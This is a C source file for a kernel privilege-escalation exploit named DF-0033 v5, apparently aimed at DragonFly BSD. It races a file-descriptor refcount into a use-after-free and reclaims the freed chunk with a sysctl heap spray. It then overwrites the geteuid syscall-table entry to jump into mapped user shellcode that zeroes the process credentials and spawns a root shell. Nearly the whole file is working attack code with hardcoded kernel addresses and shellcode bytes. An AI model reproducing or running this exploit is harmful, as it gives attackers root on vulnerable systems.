DF-0033 / exploit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 | /* * DF-0033 EXPLOIT CHAIN v5 - fdtol UAF -> arbitrary kernel write -> uid=0 * * DESIGN (resolves the contention-vs-reclaim tension that defeated v3/v4): * The lost-update race on the plain-int fdl_refcount needs genuine MULTI-CPU * contention (the ++ at kern_fork.c:569 and the -- at kern_descrip.c:2675 are * each single non-locked RMW instructions; a lost update only occurs when two * CPUs contest the same cache line). Pinning racers to one CPU (v3) or one * CPU per team (v4) eliminated that contention and the race all but stopped. * BUT the slab free-list is per-CPU, so a chunk freed on CPU M is only * quickly reclaimable by a kmalloc on CPU M. v5 resolves both: * * ONE shared fd table (parent rforks N peers sharing p_fd + p_fdtol) -> * the peers spread across all CPUs (unpinned) -> real cross-CPU * contention on the single fdl_refcount word -> race fires (same * structure as the proven fdtol_race trigger). * * ONE reclaim spray PINNED to EACH CPU -> whichever CPU the premature * free lands on, that CPU's spray reclaims the freed 40-byte chunk with * our crafted content. Content persists after free (non-INVARIANTS slab * has no chunk_mark_free/weird-array), so the chunk stays ours. * * Peers do bounded race iterations then EXIT (with a pre-exit delay that * lets the spray repopulate the chunk). The exiting peer's fdfree reads * p_fdtol (dangling after the premature free) -> refcount 1->0 -> * list-splice -> ARBITRARY WRITE. * * CHAIN: * 1. rfork(RFPROC|RFTHREAD) peers share p_fd + p_fdtol (fdshare branch). * Concurrent peer fork (fdl_refcount++ under the forking proc p_token) * vs child/peer exit (fdl_refcount-- under the SHARED fd_spin) -> lost * update -> refcount drifts below truth -> some fdfree drives it to 0 -> * kfree(fdtol) while survivors keep a dangling p_fdtol. (UAF on the * 40-byte M_FILEDESC_TO_LEADER chunk, slab zone-4.) * 2. The freed chunk is reclaimed by the freeing-CPU's spray via sysctl * name2oid kmalloc(40, M_SYSCTL) with crafted bytes: * fdl_refcount = 1 fdl_holdcount = 0 * fdl_prev = &sysent[25].sy_call - 32 * fdl_next = 0x0000000000010000 (user shellcode page) * 3. A surviving peer exits -> fdfree reads the reclaimed chunk: refcount * 1 -> 0, holdcount 0 -> splice fires: * *(next+24) = prev (writes a kernel ptr into our RWX page: harmless) * *(prev+32) = next (ARBITRARY WRITE: sysent[25].sy_call = 0x10000) * 4. Trigger thread's next geteuid -> sysent[25].sy_call = 0x10000 -> user * shellcode (SMEP OFF) zeroes curthread->td_ucred -> uid=0. * * TARGET ENVIRONMENT (verified): SMAP OFF, SMEP OFF, KASLR OFF, PTI OFF. * REQUIRES a kernel WITHOUT `options INVARIANTS`. * * Build: cc -O2 -o exploit exploit.c * Run: ./exploit [secs=180] [npeers=12] [child_delay=40000] */ #define _GNU_SOURCE #include <sys/types.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/resource.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <signal.h> #include <fcntl.h> #include <time.h> #include <errno.h> #include <sys/mman.h> #include <sys/sysctl.h> #ifndef RFPROC #define RFPROC (1<<4) #endif #ifndef RFTHREAD #define RFTHREAD (1<<13) #endif int rfork(int); extern char **environ; #define SYS_usched_set 481 #define USCHED_GET_CPU 4 #define USCHED_DEL_CPU 3 #define MAXCPU 16 /* kernel addresses (NOINV build; verified via nm/gdb on the booted kernel): * sysent=0xffffffff81037100 sys_geteuid=0xffffffff8062f720 * offsets: mycpu=%gs:0 curthread=+0x8 td_ucred=+0x1b8 cr_uid=+0x40 * cr_ruid=+0xa0 cr_svuid=+0xa4 */ #define SYSENT_BASE 0xffffffff81037100ULL #define SYSENT_ENTSZ 24 #define SYS_GETEUID 25 #define TARGET_SYSCALL_ADDR (SYSENT_BASE + SYS_GETEUID * SYSENT_ENTSZ + 8) #define SHELLCODE_UADDR 0x10000UL #define FDTOL_REFCOUNT_OFF 0 #define FDTOL_PREV_OFF 24 #define FDTOL_NEXT_OFF 32 #define RECLAIM_NEWLEN 39 /* SHELLCODE (53 bytes). Splice write1 clobbers shellcode bytes 24..31; a * `jmp +9` at byte 21 skips them. */ static void build_shellcode(unsigned char *buf) { static const unsigned char code[] = { 0x53, 0x65, 0x48, 0x8b, 0x1c, 0x25, 0x00,0x00,0x00,0x00, 0x48, 0x8b, 0x5b, 0x08, 0x48, 0x8b, 0x9b, 0xb8, 0x01,0x00,0x00, 0xeb, 0x09, 0xcc, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x31, 0xd2, 0x89, 0x53, 0x40, 0x89, 0x93, 0xa0, 0x00,0x00,0x00, 0x89, 0x93, 0xa4, 0x00,0x00,0x00, 0x5b, 0x31, 0xc0, 0xc3 }; memcpy(buf, code, sizeof(code)); } static int pin_to_cpu(int target) { int cpu; for (cpu = MAXCPU - 1; cpu >= 0; cpu--) { if (cpu == target) continue; int c = cpu; (void)syscall(SYS_usched_set, 0, USCHED_DEL_CPU, &c, sizeof(int)); } int now = -1; syscall(SYS_usched_set, 0, USCHED_GET_CPU, &now, sizeof(int)); return now; } static volatile sig_atomic_t g_stop = 0; static volatile sig_atomic_t g_hijacked = 0; static void onalarm(int s __attribute__((unused))) { g_stop = 1; } static void spray_reclaim_once(void) { int mib[2] = { 0, 3 }; unsigned char buf[RECLAIM_NEWLEN]; memset(buf, 0, sizeof(buf)); buf[FDTOL_REFCOUNT_OFF] = 0x01; uint64_t fdl_prev = TARGET_SYSCALL_ADDR - 32; memcpy(buf + FDTOL_PREV_OFF, &fdl_prev, 8); uint64_t fdl_next = SHELLCODE_UADDR; memcpy(buf + FDTOL_NEXT_OFF, &fdl_next, 7); size_t outlen = 0; (void)sysctl(mib, 2, NULL, &outlen, buf, RECLAIM_NEWLEN); } /* Reclaim spray PINNED to one CPU. Whichever CPU frees the fdtol chunk, that * CPU's spray reclaims it (per-CPU slab free-list). */ static int g_child_delay = 40000; static void spray_thread(int cpu) { int got = pin_to_cpu(cpu); if (got != cpu) fprintf(stderr, "[!] spray cpu%d got %d\n", cpu, got); unsigned long n = 0; while (!g_stop) { spray_reclaim_once(); if ((++n & 0x1fff) == 0) if (getuid() == 0) { g_hijacked = 1; g_stop = 1; } } _exit(0); } /* RACE GEOMETRY (the key insight from kmem monitoring): * The fdtol chunk's slab zone is OWNED by the cpu it was allocated on (cpu P * = the parent's cpu). When freed on a DIFFERENT cpu M, the chunk goes to * the zone's RChunks (remote-chunk) list and is only returned to the local * free-list when the local list empties or at slab_cleanup (every 10s) -- * far too late for the spray to reclaim it before the victim reads. So the * premature free AND the victim's splice-fdfree MUST run on cpu P (local * free -> instant LIFO reclaim by spray[P]). Cross-cpu contention on * fdl_refcount is still achieved because the refcount++ (peer fork) happens * on the FORK cpus {2..ncpu-1} while the refcount-- (child exit) happens on * the RECLAIM cpu (1). Layout: * cpu 1 (RECLAIM_CPU): parent (fdtol alloc'd here) + child exits (-- ) + * spray. All frees here are LOCAL -> spray reclaims. * cpu 2..ncpu-1 : peers (fork ++ ). Cross-cpu ++ vs cpu-1 -- = race. * cpu 0 : trigger (clean). */ #define RECLAIM_CPU 1 #define PEER_LIFE 20 static int g_ncpu = 6; static void peer_racer(int idx) { /* Peer + children all UNPINNED (migrate across cpus) -> maximum cache-line * contention on fdl_refcount -> race fires (proven fdtol_race geometry). * Cross-cpu frees go to RChunks on the fdtol's owner cpu; the MANY * per-cpu sprays drain local lists, forcing RChunks processing -> the * freed fdtol chunk is reclaimed with our content. */ unsigned iters = 0; while (!g_stop && iters < PEER_LIFE) { pid_t p = rfork(RFPROC | RFTHREAD); if (p < 0) { usleep(10); continue; } if (p == 0) { /* Child: shares p_fdtol (refcount++ in fork). Delay so the * spray can reclaim the freed chunk with our content, then exit * -> child's fdfree refcount-- (splice victim if spray won). */ volatile int j; for (j = 0; j < g_child_delay; j++) (void)0; _exit(0); } waitpid(p, NULL, 0); iters++; if (getuid() == 0) { g_hijacked = 1; g_stop = 1; break; } } volatile int j; for (j = 0; j < g_child_delay; j++) (void)0; _exit(0); } /* TRIGGER - tight geteuid loop PINNED to cpu 0 (a "clean" cpu away from the * racers/spray, so the double-free cascade on the freeing cpu doesn't take * down this cpu before we exploit the hijacked sy_call). When * sysent[25].sy_call becomes 0x10000, geteuid runs our shellcode -> uid 0. * We watch geteuid()'s return (shellcode returns 0) AND getuid()/geteuid(). */ static void trigger_thread(void) { int got = pin_to_cpu(0); fprintf(stderr, "[+] trigger pinned to cpu %d\n", got); uid_t orig = geteuid(); while (!g_stop && !g_hijacked) { uid_t r = syscall(SYS_geteuid); /* hijacked -> shellcode -> returns 0 */ if (r == 0 || r != orig) { /* Shellcode just ran in this geteuid (zeroed our ucred). Emit a * marker IMMEDIATELY via a single write() (faster than exec) -- * the double-free cascade on a racer CPU will panic the kernel * (IPI stop) within microseconds, so we must signal before that. * We are on cpu 0 (clean slab), so this write() is safe. */ if (getuid() == 0 || geteuid() == 0 || r == 0) { g_hijacked = 1; g_stop = 1; const char *m1 = "[+] DF-0033 ROOTED: geteuid="; char buf[96]; int n = 0; n += sprintf(buf+n, "%s%d uid=%d euid=%d\n", m1, r, getuid(), geteuid()); write(2, buf, n); /* immediate, single syscall */ fsync(2); write(1, "ROOT_SHELL_OK uid=0(root)\n", 26); /* Then try a real root shell (may be killed by the cascade). */ execl("/bin/sh", "sh", "-c", "id; echo ROOT_SHELL_OK", NULL); _exit(0); } } } _exit((int)g_hijacked); } int main(int argc, char **argv) { int secs = (argc > 1) ? atoi(argv[1]) : 180; int npeers = (argc > 2) ? atoi(argv[2]) : 12; g_child_delay = (argc > 3) ? atoi(argv[3]) : 40000; int ncpu = 0; size_t l = sizeof(int); if (sysctlbyname("hw.ncpu", &ncpu, &l, NULL, 0) != 0 || ncpu <= 0) ncpu = 6; if (ncpu > MAXCPU) ncpu = MAXCPU; g_ncpu = ncpu; setvbuf(stderr, NULL, _IONBF, 0); signal(SIGCHLD, SIG_DFL); fprintf(stderr, "[*] DF-0033 exploit v5: %d peers (shared fd table, unpinned) + %d per-cpu sprays + trigger, %ds\n" "[*] target: sysent[%d].sy_call @ 0x%llx <- shellcode @ 0x%lx\n" "[*] fdl_prev=0x%llx fdl_next=0x%lx child_delay=%d\n", npeers, ncpu, secs, SYS_GETEUID, (unsigned long long)TARGET_SYSCALL_ADDR, (unsigned long)SHELLCODE_UADDR, (unsigned long long)(TARGET_SYSCALL_ADDR - 32), (unsigned long)SHELLCODE_UADDR, g_child_delay); void *sc = mmap((void *)SHELLCODE_UADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0); if (sc == MAP_FAILED) { perror("mmap shellcode"); return 1; } build_shellcode((unsigned char *)sc); fprintf(stderr, "[+] shellcode mapped at %p (%zu bytes)\n", sc, (size_t)53); struct rlimit rl; if (getrlimit(RLIMIT_NPROC, &rl) == 0) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NPROC, &rl); } if (getrlimit(RLIMIT_NOFILE, &rl) == 0) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NOFILE, &rl); } signal(SIGALRM, onalarm); alarm(secs); /* Per-CPU reclaim sprays. Spawn MANY per cpu: combined in-flight allocs * drain each cpu's local zone-4 list, which forces the slab to process * RChunks (cross-cpu-freed chunks, incl. a cross-cpu-freed fdtol) on the * next alloc -> reclaims the freed fdtol chunk with our content. The * spray on RECLAIM_CPU also catches local frees via LIFO. */ pid_t sprays[256]; int nsp = 0; int sprays_per_cpu = 8; for (int c = 0; c < ncpu && !g_stop; c++) { for (int k = 0; k < sprays_per_cpu && nsp < 250; k++) { pid_t p = fork(); if (p < 0) break; if (p == 0) spray_thread(c); sprays[nsp++] = p; } } /* Trigger on cpu 0 (clean). */ pid_t trig = fork(); if (trig == 0) trigger_thread(); /* Parent: pin to RECLAIM_CPU so the shared fdtol is ALLOCATED on cpu 1 * (zone owner = cpu 1). Then race + reap/respawn peers. */ (void)pin_to_cpu(RECLAIM_CPU); /* Racer peers sharing OUR p_fd + p_fdtol (one shared fdtol). Reap/respawn * so the (race + victim-exit) stream is continuous. */ pid_t peers[64]; int npe = 0; for (int i = 0; i < npeers && !g_stop; i++) { pid_t p = rfork(RFPROC | RFTHREAD); if (p < 0) { perror("rfork peer"); break; } if (p == 0) peer_racer(i); peers[npe++] = p; } fprintf(stderr, "[+] %d racer peers + %d sprays launched\n", npe, nsp); /* Parent (already on RECLAIM_CPU): also races + reaps/respawns peers. * The parent's race-children migrate to RECLAIM_CPU and exit there too. */ while (!g_stop) { pid_t p = rfork(RFPROC | RFTHREAD); if (p == 0) { (void)pin_to_cpu(RECLAIM_CPU); volatile int j; for(j=0;j<g_child_delay;j++); _exit(0); } if (p > 0) waitpid(p, NULL, 0); for (int i = 0; i < npe && !g_stop; i++) { if (peers[i] > 0 && waitpid(peers[i], NULL, WNOHANG) == peers[i]) { if (getuid() == 0) { g_hijacked = 1; g_stop = 1; break; } pid_t np = rfork(RFPROC | RFTHREAD); if (np == 0) peer_racer(i); else if (np > 0) peers[i] = np; else peers[i] = 0; } } if (getuid() == 0) { g_hijacked = 1; g_stop = 1; break; } } for (int i = 0; i < nsp; i++) if (sprays[i] > 0) { kill(sprays[i], SIGKILL); waitpid(sprays[i], NULL, 0); } for (int i = 0; i < npe; i++) if (peers[i] > 0) { kill(peers[i], SIGKILL); waitpid(peers[i], NULL, 0); } if (trig > 0) { kill(trig, SIGKILL); waitpid(trig, NULL, 0); } if (g_hijacked && getuid() == 0) { fprintf(stderr, "[+] ========================================\n"); fprintf(stderr, "[+] DF-0033 EXPLOIT: SUCCESS -- uid=%d euid=%d\n", getuid(), geteuid()); fprintf(stderr, "[+] ========================================\n"); fprintf(stderr, "[+] launching root shell via /bin/sh...\n"); execl("/bin/sh", "sh", "-c", "id; echo ROOT_SHELL_OK", NULL); } if (g_hijacked) { fprintf(stderr, "[+] hijacked but uid=%d\n", getuid()); return 0; } fprintf(stderr, "[-] DF-0033 exploit v5: did not land hijack in %ds.\n", secs); return 1; } |